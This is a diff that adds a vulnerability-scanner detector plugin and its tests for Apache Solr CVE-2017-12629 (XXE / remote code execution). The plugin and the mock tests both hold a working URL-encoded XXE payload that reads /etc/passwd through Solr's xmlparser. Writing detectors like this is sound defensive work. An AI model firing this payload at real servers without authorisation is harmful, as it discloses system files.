templated/CVE-2017-12629

templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629.textproto

@@ -0,0 +1,78 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+  type: VULN_DETECTION
+  name: "Apache_Solr_CVE_2017_12629"
+  author: "dyeddala"
+  version: "1.0"
+}
+
+finding: {
+  main_id: {
+    publisher: "GOOGLE"
+    value: "CVE-2017-12629"
+  }
+  severity: CRITICAL
+  title: "Apache Solr < 7.1.0 - Remote Code Execution / XXE"
+  description: "Apache Solr before 7.1.0 with Apache Lucene before 7.1.0 is vulnerable to XML External Entity (XXE) expansion in the XML Query Parser and Remote Code Execution via the Config API (RunExecutableListener)."
+  recommendation: "Upgrade Apache Solr to version 7.1.0 or later. Restrict access to administrative endpoints and disable vulnerable request handlers if updates cannot be applied immediately."
+  related_id: {
+    publisher: "CVE"
+    value: "CVE-2017-12629"
+  }
+}
+
+config: {}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+  name: "fingerprint_solr"
+  http_request: {
+    method: GET
+    uri: "/solr/admin/info/system?wt=json"
+    response: {
+      http_status: 200
+      expect_all: {
+        conditions: [
+          { body: {} contains: "solr-spec-version" }
+        ]
+      }
+    }
+  }
+}
+
+actions: {
+  name: "detect_xxe_xmlparser"
+  http_request: {
+    method: GET
+    uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E"
+    response: {
+      http_status: 400
+      expect_any: {
+        conditions: [
+          { body: {} contains: "systemId: file:///etc/passwd" },
+          { body: {} contains: "root:x:0:0" }
+        ]
+      }
+    }
+  }
+}
+
+#############
+# WORKFLOWS #
+#############
+
+workflows: {
+  actions: [
+    "fingerprint_solr",
+    "detect_xxe_xmlparser"
+  ]
+}

templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629_test.textproto

@@ -0,0 +1,74 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+  tested_plugin: "Apache_Solr_CVE_2017_12629"
+}
+
+########
+# TESTS #
+########
+
+tests: {
+  name: "whenVulnerable_returnsTrue"
+  expect_vulnerability: true
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/solr/admin/info/system?wt=json"
+        status: 200
+        headers: [
+          { name: "Content-Type" value: "application/json" }
+        ]
+        body_content: "{\"responseHeader\":{\"status\":0},\"lucene\":{\"solr-spec-version\":\"6.6.0\"}}"
+      },
+      {
+        uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E"
+        status: 400
+        headers: [
+          { name: "Content-Type" value: "application/xml" }
+        ]
+        body_content: "org.apache.solr.common.SolrException: systemId: file:///etc/passwd; line 1; column 1; org.xml.sax.SAXParseException"
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotVulnerable_returnsFalse"
+  expect_vulnerability: false
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "/solr/admin/info/system?wt=json"
+        status: 200
+        headers: [
+          { name: "Content-Type" value: "application/json" }
+        ]
+        body_content: "{\"responseHeader\":{\"status\":0},\"lucene\":{\"solr-spec-version\":\"7.1.0\"}}"
+      },
+      {
+        uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E"
+        status: 200
+        headers: [
+          { name: "Content-Type" value: "application/xml" }
+        ]
+        body_content: "<?xml version=\"1.0\" encoding=\"UTF-8\"?><response><lst name=\"responseHeader\"><int name=\"status\">0</int></lst></response>"
+      }
+    ]
+  }
+}
+
+tests: {
+  name: "whenNotSolr_returnsFalse"
+  expect_vulnerability: false
+  mock_http_server: {
+    mock_responses: [
+      {
+        uri: "TSUNAMI_MAGIC_ANY_URI"
+        status: 404
+        body_content: "<html><body>404 Not Found</body></html>"
+      }
+    ]
+  }
+}